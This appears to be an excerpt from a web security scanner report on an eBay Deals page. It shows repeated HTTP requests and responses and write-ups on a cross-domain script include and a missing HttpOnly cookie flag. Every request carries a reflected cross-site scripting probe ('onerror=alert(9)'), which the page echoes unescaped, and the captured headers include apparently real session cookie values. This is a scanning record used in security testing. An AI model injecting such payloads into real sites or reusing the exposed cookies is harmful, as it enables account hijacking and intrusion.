Cookie: dp1=bvrvi/3%7C0%7C250737589656%7C8411760997%7C310365921702%7C4f1e1f04^pcid/yqK7Xb2N50f22384^mpc/0%7C04f1e1f04^pbf/%2340064002080004000000450f22384^tzo/16852d35769^u1p/QEBfX0BAX19AQA**50f22384^idm/14f11ae13^; nonsession=CgADKACBYdvGENjdhMzMyZGExMzQwYTAyNzZiODFiOGIxZmZmYzFmNWQAywABTxD3DDnWb+e2; lucky9=2930263; npii=btrm/svid%3D9115901167250f222a1^tguid/67a332da1340a0276b81b8b1fffc1f5d50f222a1^cguid/6796be8f1340a0a9e8e22482fd53d52a50f222a1^; cid=yqK7Xb2N; cssg=da213bac1340a47a34c3acf3fff20b6e

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (CentOS)
X-Powered-By: PHP/5.2.10
Vary: Accept-Encoding
Content-Length: 11476
X-Cnection: close
Content-Type: text/html; charset=UTF-8
Expires: Sun, 15 Jan 2012 00:12:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 15 Jan 2012 00:12:06 GMT
Connection: close
Set-Cookie: country=%22%3E%3CiMg+src%3DN+onerror%3Dalert%289%29%3E; expires=Tue, 14-Feb-2012 00:12:06 GMT
Set-Cookie: BIGipServeranywhere-u-http-80=2054947338.20480.0000; path=/

<!DOCTYPE HTML>
<html>
<head>
   
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
   
<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">
<link rel="icon" href="/favicon.ico" />

<script type='text/javascript' src='js/jquery-1.4.2.js'></script>
   <script type='text/javascript' src='js/jquery.metadata.js'></script>
   <script type='text/javascript' src='js/jquery.auto-complete.js'></script>
   <script type='text/javascript' src='js/autocomplete.js'></script>
   
   <script type="text/javascript" src="js/jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="js/javascript-cookies.js"></script>

   <title>eBay Deals</title>
   <meta name="language" content="english" />
   <meta name="description" content="Grab yourself a great deal!" />
   
   <meta name="application-name" content="eBay Homepage" />
   <meta name="msapplication-starturl" content="http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=h&mpre=http://www.ebay.com" />
   <meta name="msapplication-tooltip" content="eBay - The World's Online Marketplace" />
   <meta name="msapplication-task" content="name=My eBay;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t1&mpre=http://my.ebay.com/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Sell on eBay;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t2&mpre=http://sell.ebay.com/sell;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Daily Deals;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t3&mpre=http://anywhere.ebay.com/apps/deals/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Fashion;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t4&mpre=http://fashion.ebay.com/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Visit PayPal;action-uri=http://www.paypal.com;icon-uri=http://anywhere.ebay.com/resources/icons/paypal.ico" />
       
   <link rel='stylesheet' type='text/css' href='css/jquery.auto-complete.css' />

<link rel="stylesheet" type="text/css" href="css/styles_default.css" />
   <link rel="stylesheet" type="text/css" href="css/core.css" />

</head>
<body onload="trackFunc();">
<script type="text/javascript" src="js/dailyDeals.js"></script>
   
<script type="text/javascript">
       // share values with the client side
       isIE9 = 1;
       country = "><iMg src=N onerror=alert(9)>;
       currentPage = 'all';
       trackingCode = '711-117568-2056-0';
</script>


   <div id="pageWrap">

       <div class="masthead contain">
           <header>
               <div class="pageWrap">
       <a href="http://ebay.com" class="logoLink link logoImg" tabindex="1"><h1>ebay</h1></a>
        <nav>
        <ul>
        <li class="selected"><a href="?p=all&s="><iMg src=N onerror=alert(9)>" class="link" tabindex="4">All Deals</a></li>         </ul>
        </nav>
       <div id="searchZone">
           <input type="hidden" id="searchUrl" value="http://rover.ebay.com/rover/1/711-117568-2056-0/4?mpre=http://shop.ebay.com/" />
           <input type="text" class="searchField link tab-2" size="60" maxlength="300" value="" id="_nkw" name="_nkw" autocomplete="off" tabindex="2">
           <input type="button" id="searchBtn" class="button blue btnSmall link tab-3" value="Search" tabindex="3" onclick="doSearch()" />
            </div>
       </div>
           </header>
       </div><!-- }}} header -->

       <div class="pageWrap">

       <section>
           <div id="dailyDeals" class="floatLeft dailyUs">Daily Deals</div><h2 class="pageTitle">Grab yourself a great deal!</h2>
       
           <div class="dealItems contain clear" id="dealCarousel">
       
               <div class="dealItem" draggable="true" ondragstart="DragHandler(this, event)" style="left: 328px; z-index: 5; margin-top:-20px; display: none;" id="dealInfo">
                   <section>
                       <div class="mainDealContent contain">
                           <h3 id="dealInfoTitle" ></h3>
       
                           <div id="dealInfoImage"></div>
                           <div>
                           <p class="reduction" id="dealInfoSavings"></p>
       
                           <ul class="buyDetails">
                               <li class="rrp" id="dealInfoRRP"></li>
                               <li id="dealInfoPrice"></li>
                           </ul>
                           </div>
                       </div>
       
       
        <div class="dealOptions">
            <div class="dealOptionsLeft">
                               <span class="bold small">Postage:</span>
                               <div id="dealInfoFreeShipping" class="orangeText smaller bold">Free shipping</div>
                               
                           </div>
                           <div class="dealOptionsRight">
                               <span class="bold small">Payments</span>
                               <div id="dealInfoPayPal"><img alt="PayPal Accepted" src="images/payPalLogo.png" /></div>
                               
                           </div>
                       </div>
                       <div>
                           <div class="btnFav contain floatLeft marginT5" id="dealInfoAdded"><span class="smallHeart">Saved</span></div>
                           
                           <div class="floatRight marginT5">
                               <div id="dealInfoBuyItNow" class="link" ><a class="button link" href="#" target="_blank">View details</a></div>
               <div class="rrpLegal marginT5" id="dealInfoLegalText">*RRP as at 08/05/2010</div>
                           </div>
                           
                           <div onclick="addToFavorites(null)" onkeydown="enterToFavorites()" onfocus="favFocused=true;" id="dealInfoAddAsFav" class="button btnFav contain floatLeft marginT5 link" tabindex="7"><span id="plusOnSave" style="display: none;">+</span><span class="smallHeart">Save deal for later</span></div>
                           
                           
                       </div>
       
                   </section>
               </div>
               
               <div class="dealsTitle smallHeart"><p><span>+&nbsp;&nbsp;</span>Deals I'm interested in</p></div>
               <div id="dropZone">
                   <div id="favoriteItems"></div>
                   <div id="itemsToBeDropped" ondrop="DropHandler(this, event);dehighliteDropZone();" ondragenter="return false;" ondragover="highliteDropZone();return false;">
                       <div class="itemToBeDropped"><div id="firstItem"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                   </div>
                   <div id="socialNetworksArea" >
                       <div id="shareThisSquare" class="orange">
                           <p>
                                    <img src="images/share-this-uk.gif" /></p>
                <div class="clear floatLeft"><a href="http://twitter.com/share?url=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>&text=Grab yourself a great deal!" target="_blank" class="link"><img src="images/twtr-icon-colour.jpg" alt="Tweet" /><span>Tweet</span></a></div>
        <div class="clear floatLeft"><a href="http://www.facebook.com/sharer.php?u=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>&t=Grab yourself a great deal!" target="_blank" class="link"><img src="images/fb-icon-colour.jpg" alt="Share" /><span>Share</span></a></div>
        <div class="clear floatLeft"><a href="http://www.stumbleupon.com/submit?url=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>" target="_blank" class="link"><img src="images/su-icon-colour.jpg" alt="StumbleIt!"/><span>Stumble it!</span></a>
                           </div>
                        </div>    
                       
                       <div id="subscribeSquare" class="orange">
                           <p><img src="images/share-this-uk.gif" /></p>
        <div>
           <a id="addSlice" href="javascript:void(0)" class="link" onclick='addToFav();'><img src="images/webslice.gif" alt="webslice" /><span>Add web slice</span></a>
        </div>
        <div><a id="pinLink" href="javascript:void(0)" class="link" ><img src="images/pin.gif" alt="pin" /><span>Pin to start menu</span></a></div>
        </div>
                   </div>
               </div>
       
           </div><!-- }}} dealItems -->
       </section>

       <!-- footer -->
       <footer id="glbfooter">
           
<!--        language parameter for all countries IE9/Chome App-->
                                   
                       
           
           <!-- UK footer -->
                       
           <!-- US footer -->
                       <div id="footerLinks">
               <div class="floatLeft">
                   <ul>
                       <li><a rel="nofollow" class="link" target="_blank" href="http://pages.ebay.com/help/policies/privacy-policy.html">Privacy Policy</a></li>
                   </ul>
               </div>
               <div class="floatRight">
                   <ul>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=3">United Kingdom</a></li>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=15">Australia</a></li>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=77">Germany</a></li>
                   </ul>
               </div>
           </div>
                       
           <!-- German footer -->
                       
           <!-- Australian footer -->
                   </footer>
       
       <!-- }}} footer -->

   </div><!-- }}} pageWrap -->
   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
   <script type="text/javascript" src="js/browserExtensions.js"></script>
   <script type="text/javascript">
       //<![CDATA[
       jQuery().browserExtensionPrompt({
        targetNode : '#pageWrap', // Inserts alert before this ID
        browser : 'chrome',
        backgroundImg : 'images/bkGradient.png',
        icon : 'images/icon.png',
        introText : 'Stay connected to eBay anywhere online with the eBay extension for Google Chrome',
        closeButton : 'images/close.png',
        installText : 'Install now',
        installURL : 'https://clients2.google.com/service/update2/crx?response=redirect&x=id%3Dkhhckppjhonfmcpegdjdibmngahahhck%26uc%26lang%3Den&prod=chrome&prodversion=6.0.472.63',
        siteLinkText : 'Find out more',
        siteLinkURL : 'http://anywhere.ebay.com/browser/chrome/'
       });
       //]]>
   </script>

   
   <!-- LV -->
   
   <script type="text/javascript" src="http://include.ebaystatic.com/js/v/us/roverlv.js"></script>
   
   <script type="text/javascript">
   <!--
   function trackFunc() {
    _rover.setAppId(503);
    // Page Impression
    var pageImpEvent = 2040537;
    var impEvt=_rover.createPageImpEvent(pageImpEvent);
    impEvt.setLVTrk(true);
    ebayLVTr.setRover(_rover);
    ebayLVTr.setPageImpEvent(pageImpEvent);
    ebayLVTrClk._ebayLVTrackerClk_init_tracker();
    _rover.track();
   }
   //-->
   </script>
   <!-- End LV Tag -->
   
   <script type="text/javascript" charset="utf-8">
    var is_ssl = ("https:" == document.location.protocol);
    var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : "http://s3.amazonaws.com/getsatisfaction.com/";
    document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E"));
   </script>
   
   <script type="text/javascript" charset="utf-8">
    var feedback_widget_options = {};
   
    feedback_widget_options.display = "overlay";
    feedback_widget_options.company = "ebayextensions";
    feedback_widget_options.placement = "right";
    feedback_widget_options.color = "#222";
    feedback_widget_options.style = "idea";
    feedback_widget_options.product = "ebayextensions_daily_deals_app";
   
    feedback_widget_options.limit = "3";
   
    var feedback_widget = new GSFN.feedback_widget(feedback_widget_options);
   </script>
</body>
</html>

3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://anywhere.ebay.com
Path:   /apps/deals/

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /apps/deals/?s=%22%3E%3CiMg%20src=N%20onerror=alert(9)%3E HTTP/1.1
Host: anywhere.ebay.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: dp1=bvrvi/3%7C0%7C250737589656%7C8411760997%7C310365921702%7C4f1e1f04^pcid/yqK7Xb2N50f22384^mpc/0%7C04f1e1f04^pbf/%2340064002080004000000450f22384^tzo/16852d35769^u1p/QEBfX0BAX19AQA**50f22384^idm/14f11ae13^; nonsession=CgADKACBYdvGENjdhMzMyZGExMzQwYTAyNzZiODFiOGIxZmZmYzFmNWQAywABTxD3DDnWb+e2; lucky9=2930263; npii=btrm/svid%3D9115901167250f222a1^tguid/67a332da1340a0276b81b8b1fffc1f5d50f222a1^cguid/6796be8f1340a0a9e8e22482fd53d52a50f222a1^; cid=yqK7Xb2N; cssg=da213bac1340a47a34c3acf3fff20b6e

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (CentOS)
X-Powered-By: PHP/5.2.10
Vary: Accept-Encoding
Content-Length: 11476
X-Cnection: close
Content-Type: text/html; charset=UTF-8
Expires: Sun, 15 Jan 2012 00:12:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 15 Jan 2012 00:12:06 GMT
Connection: close
Set-Cookie: country=%22%3E%3CiMg+src%3DN+onerror%3Dalert%289%29%3E; expires=Tue, 14-Feb-2012 00:12:06 GMT
Set-Cookie: BIGipServeranywhere-u-http-80=2054947338.20480.0000; path=/

<!DOCTYPE HTML>
<html>
<head>
   
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
   
<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">
<link rel="icon" href="/favicon.ico" />

<script type='text/javascript' src='js/jquery-1.4.2.js'></script>
   <script type='text/javascript' src='js/jquery.metadata.js'></script>
   <script type='text/javascript' src='js/jquery.auto-complete.js'></script>
   <script type='text/javascript' src='js/autocomplete.js'></script>
   
   <script type="text/javascript" src="js/jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="js/javascript-cookies.js"></script>

   <title>eBay Deals</title>
   <meta name="language" content="english" />
   <meta name="description" content="Grab yourself a great deal!" />
   
   <meta name="application-name" content="eBay Homepage" />
   <meta name="msapplication-starturl" content="http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=h&mpre=http://www.ebay.com" />
   <meta name="msapplication-tooltip" content="eBay - The World's Online Marketplace" />
   <meta name="msapplication-task" content="name=My eBay;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t1&mpre=http://my.ebay.com/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Sell on eBay;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t2&mpre=http://sell.ebay.com/sell;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Daily Deals;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t3&mpre=http://anywhere.ebay.com/apps/deals/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Fashion;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t4&mpre=http://fashion.ebay.com/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Visit PayPal;action-uri=http://www.paypal.com;icon-uri=http://anywhere.ebay.com/resources/icons/paypal.ico" />
       
   <link rel='stylesheet' type='text/css' href='css/jquery.auto-complete.css' />

<link rel="stylesheet" type="text/css" href="css/styles_default.css" />
   <link rel="stylesheet" type="text/css" href="css/core.css" />

</head>
<body onload="trackFunc();">
<script type="text/javascript" src="js/dailyDeals.js"></script>
   
<script type="text/javascript">
       // share values with the client side
       isIE9 = 1;
       country = "><iMg src=N onerror=alert(9)>;
       currentPage = 'all';
       trackingCode = '711-117568-2056-0';
</script>


   <div id="pageWrap">

       <div class="masthead contain">
           <header>
               <div class="pageWrap">
       <a href="http://ebay.com" class="logoLink link logoImg" tabindex="1"><h1>ebay</h1></a>
        <nav>
        <ul>
        <li class="selected"><a href="?p=all&s="><iMg src=N onerror=alert(9)>" class="link" tabindex="4">All Deals</a></li>         </ul>
        </nav>
       <div id="searchZone">
           <input type="hidden" id="searchUrl" value="http://rover.ebay.com/rover/1/711-117568-2056-0/4?mpre=http://shop.ebay.com/" />
           <input type="text" class="searchField link tab-2" size="60" maxlength="300" value="" id="_nkw" name="_nkw" autocomplete="off" tabindex="2">
           <input type="button" id="searchBtn" class="button blue btnSmall link tab-3" value="Search" tabindex="3" onclick="doSearch()" />
            </div>
       </div>
           </header>
       </div><!-- }}} header -->

       <div class="pageWrap">

       <section>
           <div id="dailyDeals" class="floatLeft dailyUs">Daily Deals</div><h2 class="pageTitle">Grab yourself a great deal!</h2>
       
           <div class="dealItems contain clear" id="dealCarousel">
       
               <div class="dealItem" draggable="true" ondragstart="DragHandler(this, event)" style="left: 328px; z-index: 5; margin-top:-20px; display: none;" id="dealInfo">
                   <section>
                       <div class="mainDealContent contain">
                           <h3 id="dealInfoTitle" ></h3>
       
                           <div id="dealInfoImage"></div>
                           <div>
                           <p class="reduction" id="dealInfoSavings"></p>
       
                           <ul class="buyDetails">
                               <li class="rrp" id="dealInfoRRP"></li>
                               <li id="dealInfoPrice"></li>
                           </ul>
                           </div>
                       </div>
       
       
        <div class="dealOptions">
            <div class="dealOptionsLeft">
                               <span class="bold small">Postage:</span>
                               <div id="dealInfoFreeShipping" class="orangeText smaller bold">Free shipping</div>
                               
                           </div>
                           <div class="dealOptionsRight">
                               <span class="bold small">Payments</span>
                               <div id="dealInfoPayPal"><img alt="PayPal Accepted" src="images/payPalLogo.png" /></div>
                               
                           </div>
                       </div>
                       <div>
                           <div class="btnFav contain floatLeft marginT5" id="dealInfoAdded"><span class="smallHeart">Saved</span></div>
                           
                           <div class="floatRight marginT5">
                               <div id="dealInfoBuyItNow" class="link" ><a class="button link" href="#" target="_blank">View details</a></div>
               <div class="rrpLegal marginT5" id="dealInfoLegalText">*RRP as at 08/05/2010</div>
                           </div>
                           
                           <div onclick="addToFavorites(null)" onkeydown="enterToFavorites()" onfocus="favFocused=true;" id="dealInfoAddAsFav" class="button btnFav contain floatLeft marginT5 link" tabindex="7"><span id="plusOnSave" style="display: none;">+</span><span class="smallHeart">Save deal for later</span></div>
                           
                           
                       </div>
       
                   </section>
               </div>
               
               <div class="dealsTitle smallHeart"><p><span>+&nbsp;&nbsp;</span>Deals I'm interested in</p></div>
               <div id="dropZone">
                   <div id="favoriteItems"></div>
                   <div id="itemsToBeDropped" ondrop="DropHandler(this, event);dehighliteDropZone();" ondragenter="return false;" ondragover="highliteDropZone();return false;">
                       <div class="itemToBeDropped"><div id="firstItem"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                       <div class="itemToBeDropped"><div class="toBeDropped"></div></div>
                   </div>
                   <div id="socialNetworksArea" >
                       <div id="shareThisSquare" class="orange">
                           <p>
                                    <img src="images/share-this-uk.gif" /></p>
                <div class="clear floatLeft"><a href="http://twitter.com/share?url=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>&text=Grab yourself a great deal!" target="_blank" class="link"><img src="images/twtr-icon-colour.jpg" alt="Tweet" /><span>Tweet</span></a></div>
        <div class="clear floatLeft"><a href="http://www.facebook.com/sharer.php?u=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>&t=Grab yourself a great deal!" target="_blank" class="link"><img src="images/fb-icon-colour.jpg" alt="Share" /><span>Share</span></a></div>
        <div class="clear floatLeft"><a href="http://www.stumbleupon.com/submit?url=http://anywhere.ebay.com/apps/deals/?s="><iMg src=N onerror=alert(9)>" target="_blank" class="link"><img src="images/su-icon-colour.jpg" alt="StumbleIt!"/><span>Stumble it!</span></a>
                           </div>
                        </div>    
                       
                       <div id="subscribeSquare" class="orange">
                           <p><img src="images/share-this-uk.gif" /></p>
        <div>
           <a id="addSlice" href="javascript:void(0)" class="link" onclick='addToFav();'><img src="images/webslice.gif" alt="webslice" /><span>Add web slice</span></a>
        </div>
        <div><a id="pinLink" href="javascript:void(0)" class="link" ><img src="images/pin.gif" alt="pin" /><span>Pin to start menu</span></a></div>
        </div>
                   </div>
               </div>
       
           </div><!-- }}} dealItems -->
       </section>

       <!-- footer -->
       <footer id="glbfooter">
           
<!--        language parameter for all countries IE9/Chome App-->
                                   
                       
           
           <!-- UK footer -->
                       
           <!-- US footer -->
                       <div id="footerLinks">
               <div class="floatLeft">
                   <ul>
                       <li><a rel="nofollow" class="link" target="_blank" href="http://pages.ebay.com/help/policies/privacy-policy.html">Privacy Policy</a></li>
                   </ul>
               </div>
               <div class="floatRight">
                   <ul>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=3">United Kingdom</a></li>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=15">Australia</a></li>
                       <li style="float:right"><a rel="nofollow" class="link" href="/apps/deals/index.php?s=77">Germany</a></li>
                   </ul>
               </div>
           </div>
                       
           <!-- German footer -->
                       
           <!-- Australian footer -->
                   </footer>
       
       <!-- }}} footer -->

   </div><!-- }}} pageWrap -->
   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
   <script type="text/javascript" src="js/browserExtensions.js"></script>
   <script type="text/javascript">
       //<![CDATA[
       jQuery().browserExtensionPrompt({
        targetNode : '#pageWrap', // Inserts alert before this ID
        browser : 'chrome',
        backgroundImg : 'images/bkGradient.png',
        icon : 'images/icon.png',
        introText : 'Stay connected to eBay anywhere online with the eBay extension for Google Chrome',
        closeButton : 'images/close.png',
        installText : 'Install now',
        installURL : 'https://clients2.google.com/service/update2/crx?response=redirect&x=id%3Dkhhckppjhonfmcpegdjdibmngahahhck%26uc%26lang%3Den&prod=chrome&prodversion=6.0.472.63',
        siteLinkText : 'Find out more',
        siteLinkURL : 'http://anywhere.ebay.com/browser/chrome/'
       });
       //]]>
   </script>

   
   <!-- LV -->
   
   <script type="text/javascript" src="http://include.ebaystatic.com/js/v/us/roverlv.js"></script>
   
   <script type="text/javascript">
   <!--
   function trackFunc() {
    _rover.setAppId(503);
    // Page Impression
    var pageImpEvent = 2040537;
    var impEvt=_rover.createPageImpEvent(pageImpEvent);
    impEvt.setLVTrk(true);
    ebayLVTr.setRover(_rover);
    ebayLVTr.setPageImpEvent(pageImpEvent);
    ebayLVTrClk._ebayLVTrackerClk_init_tracker();
    _rover.track();
   }
   //-->
   </script>
   <!-- End LV Tag -->
   
   <script type="text/javascript" charset="utf-8">
    var is_ssl = ("https:" == document.location.protocol);
    var asset_host = is_ssl ? "https://s3.amazonaws.com/getsatisfaction.com/" : "http://s3.amazonaws.com/getsatisfaction.com/";
    document.write(unescape("%3Cscript src='" + asset_host + "javascripts/feedback-v2.js' type='text/javascript'%3E%3C/script%3E"));
   </script>
   
   <script type="text/javascript" charset="utf-8">
    var feedback_widget_options = {};
   
    feedback_widget_options.display = "overlay";
    feedback_widget_options.company = "ebayextensions";
    feedback_widget_options.placement = "right";
    feedback_widget_options.color = "#222";
    feedback_widget_options.style = "idea";
    feedback_widget_options.product = "ebayextensions_daily_deals_app";
   
    feedback_widget_options.limit = "3";
   
    var feedback_widget = new GSFN.feedback_widget(feedback_widget_options);
   </script>
</body>
</html>

4. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://anywhere.ebay.com
Path:   /apps/deals/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /apps/deals/?s=%22%3E%3CiMg%20src=N%20onerror=alert(9)%3E HTTP/1.1
Host: anywhere.ebay.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: dp1=bvrvi/3%7C0%7C250737589656%7C8411760997%7C310365921702%7C4f1e1f04^pcid/yqK7Xb2N50f22384^mpc/0%7C04f1e1f04^pbf/%2340064002080004000000450f22384^tzo/16852d35769^u1p/QEBfX0BAX19AQA**50f22384^idm/14f11ae13^; nonsession=CgADKACBYdvGENjdhMzMyZGExMzQwYTAyNzZiODFiOGIxZmZmYzFmNWQAywABTxD3DDnWb+e2; lucky9=2930263; npii=btrm/svid%3D9115901167250f222a1^tguid/67a332da1340a0276b81b8b1fffc1f5d50f222a1^cguid/6796be8f1340a0a9e8e22482fd53d52a50f222a1^; cid=yqK7Xb2N; cssg=da213bac1340a47a34c3acf3fff20b6e

Response

HTTP/1.1 200 OK
Server: Apache/2.2.8 (CentOS)
X-Powered-By: PHP/5.2.10
Vary: Accept-Encoding
Content-Length: 11476
X-Cnection: close
Content-Type: text/html; charset=UTF-8
Expires: Sun, 15 Jan 2012 00:12:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 15 Jan 2012 00:12:06 GMT
Connection: close
Set-Cookie: country=%22%3E%3CiMg+src%3DN+onerror%3Dalert%289%29%3E; expires=Tue, 14-Feb-2012 00:12:06 GMT
Set-Cookie: BIGipServeranywhere-u-http-80=2054947338.20480.0000; path=/

<!DOCTYPE HTML>
<html>
<head>
   
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
   
<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">
<link rel="icon" href="/favicon.ico" />

<script type='text/javascript' src='js/jquery-1.4.2.js'></script>
   <script type='text/javascript' src='js/jquery.metadata.js'></script>
   <script type='text/javascript' src='js/jquery.auto-complete.js'></script>
   <script type='text/javascript' src='js/autocomplete.js'></script>
   
   <script type="text/javascript" src="js/jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="js/javascript-cookies.js"></script>

   <title>eBay Deals</title>
   <meta name="language" content="english" />
   <meta name="description" content="Grab yourself a great deal!" />
   
   <meta name="application-name" content="eBay Homepage" />
   <meta name="msapplication-starturl" content="http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=h&mpre=http://www.ebay.com" />
   <meta name="msapplication-tooltip" content="eBay - The World's Online Marketplace" />
   <meta name="msapplication-task" content="name=My eBay;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t1&mpre=http://my.ebay.com/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Sell on eBay;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t2&mpre=http://sell.ebay.com/sell;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Daily Deals;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t3&mpre=http://anywhere.ebay.com/apps/deals/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Fashion;action-uri=http://rover.ebay.com/rover/1/711-109288-23097-0/4?mfe=t4&mpre=http://fashion.ebay.com/;icon-uri=/favicon.ico" />
   <meta name="msapplication-task" content="name=Visit PayPal;action-uri=http://www.paypal.com;icon-uri=http://anywhere.ebay.com/resources/icons/paypal.ico" />
       
   <link rel='stylesheet' type='text/css' href='css/jquery.auto-complete.css' />

<link rel="stylesheet" type="text/css" href="css/styles_default.css" />
   <link rel="stylesheet" type="text/css" href="css/core.css" />

</head>
<body onload="trackFunc();">
<script type="text/javascript" src="js/dailyDeals.js"></script>
   
<script type="text/javascript">
       // share values with the client side
       isIE9 = 1;
       country = "><iMg src=N onerror=alert(9)>;
       currentPage = 'all';
       trackingCode = '711-117568-2056-0';
</script>


   <div id="pageWrap">

       <div class="masthead contain">
           <header>
               <div class="pageWrap">
       <a href="http://ebay.com" class="logoLink link logoImg" tabindex="1"><h1>ebay</h1></a>
        <nav>
        <ul>
        <li class="selected"><a href="?p=all&s="><iMg src=N onerror=alert(9)>" class="link" tabindex="4">All Deals</a></li>         </ul>
        </nav>
       <div id="searchZone">
           <input type="hidden" id="searchUrl" value="http://rover.ebay.com/rover/1/711-117568-2056-0/4?mpre=http://shop.ebay.com/" />
           <input type="text" class="searchField link tab-2" size="60" maxlength="300" value="" id="_nkw" name="_nkw" autocomplete="off" tabindex="2">
